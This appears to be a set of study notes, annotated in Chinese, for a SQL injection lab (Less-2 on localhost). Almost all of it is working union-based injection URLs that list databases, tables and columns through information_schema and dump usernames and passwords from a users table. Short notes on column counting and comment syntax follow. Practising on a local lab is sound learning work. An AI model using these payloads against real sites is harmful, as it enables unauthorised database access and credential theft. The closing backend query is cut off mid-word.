http://127.0.0.1/Less-2/?id=-1 union select 1,database(),2231 %23//查询当前数据库union select 1,group_concat(schema_name),3 from information_schema.schemata %23
http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(table_name),2231 from information_schema.tables where table_schema=database() %23 查询当前数据库的所有表名
http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(column_name),2231 from information_schema.columns where table_schema=database() and table_name=‘users’ %23查询当前数据库里的表的字段
http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from security.users %23查询字段里面的内容
http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(schema_name),333 from information_schema.schemata %23查询所有数据库
http://127.0.0.1/Less-2/?id=-1 union select 1,2,3,4 %23 测试列数
order by+数字 测试列数
–+也是注释
and 0 为假
后台语句(id前面的语句):select username,password,from user w